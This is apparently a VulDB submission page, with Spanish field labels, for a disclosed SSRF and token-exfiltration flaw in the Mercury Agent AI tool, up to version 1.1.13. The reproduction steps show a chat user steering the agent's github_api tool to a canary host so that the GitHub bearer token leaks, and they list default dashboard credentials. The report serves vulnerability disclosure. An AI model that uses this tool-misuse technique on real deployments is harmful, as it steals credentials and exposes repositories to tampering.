| Título | CosmicStack Labs Mercury Agent (@cosmicstack/mercury-agent) <= 1.1.13 Server-Side Request Forgery (CWE-918) / Token Exfiltration |
|---|
| Descripción | # Technical Details
A GitHub API absolute URL confusion vulnerability that leaks `GITHUB_TOKEN` to attacker-controlled hosts exists in the `githubRequest` function in `src/utils/github.ts` of Mercury Agent.
Mercury exposes a raw `github_api` capability whenever `GITHUB_TOKEN` is configured. The tool accepts a caller-controlled `path` string and forwards it into `githubRequest()`. That helper treats any value beginning with `http` as a fully trusted destination override (`const url = path.startsWith('http') ? path : \`${GITHUB_API}${path}\``) instead of constraining requests to GitHub, but still attaches the privileged `Authorization: Bearer <token>` header. An authenticated web chat user can drive the agent/tool loop to issue a request to an arbitrary absolute `http(s)` URL controlled by the attacker and have the Mercury host's GitHub token attached to that destination (confused-deputy / SSRF-style token exfiltration). Data flow: authenticated web chat input -> `github_api.execute({ path })` -> `githubRequest(path)` -> absolute URL override -> outbound request with `Authorization: Bearer <GITHUB_TOKEN>` -> attacker-controlled server.
# Vulnerable Code
File: src/utils/github.ts
Method: githubRequest()
Why: `const url = path.startsWith('http') ? path : \`${GITHUB_API}${path}\`` accepts any absolute http(s) destination and still applies `'Authorization': \`Bearer ${token}\`` — no destination validation before adding privileged headers.
File: src/capabilities/github/github-api.ts
Method: github_api tool execute()
Why: The tool accepts an arbitrary `path` string from tool input (`z.string().describe('Full API path ...')`) and forwards it directly into `githubRequest(path, {...})` without restricting it to GitHub API origins.
# Reproduction
1. Run Mercury <= 1.1.13 with the web dashboard enabled and `GITHUB_TOKEN` configured in the runtime environment.
2. Start a loopback canary server at `127.0.0.1:18080` that captures request headers.
3. Log in to the dashboard (`/api/auth/login`, default local credentials `mercury` / `Mercury@123`).
4. Send an authenticated `POST /api/chat/send` and have the model emit one `github_api` call with `path=http://127.0.0.1:18080/token-probe`.
5. Observe the canary receives a request containing `Authorization: Bearer <GITHUB_TOKEN>` (verified: `authorization: Bearer canary-gh-token`).
6. Control: run github_api with a normal relative path `/repos/octocat/Hello-World/issues?per_page=1` — the canary receives no events.
# Impact
- Authenticated user can exfiltrate the GitHub bearer token configured on the Mercury host.
- Depending on token scopes: exposure of private repository contents, issue/PR management capability, potentially repository write access leading to source tampering, malicious commits, pull requests, workflow abuse, and follow-on secret exposure via compromised repos or CI.
- Severity: High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N. |
|---|
| Fuente | ⚠️ https://github.com/cosmicstack-labs/mercury-agent/issues/81 |
|---|
| Usuario | Eric-a (UID 96353) |
|---|
| Sumisión | 2026-08-11 15:12 (hace 1 mes) |
|---|
| Moderación | 2026-09-13 18:30 (1 month later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 403316 [cosmicstack-labs mercury-agent hasta 1.1.13 GitHub API src/utils/github.ts githubRequest path escalada de privilegios] |
|---|
| Puntos | 20 |
|---|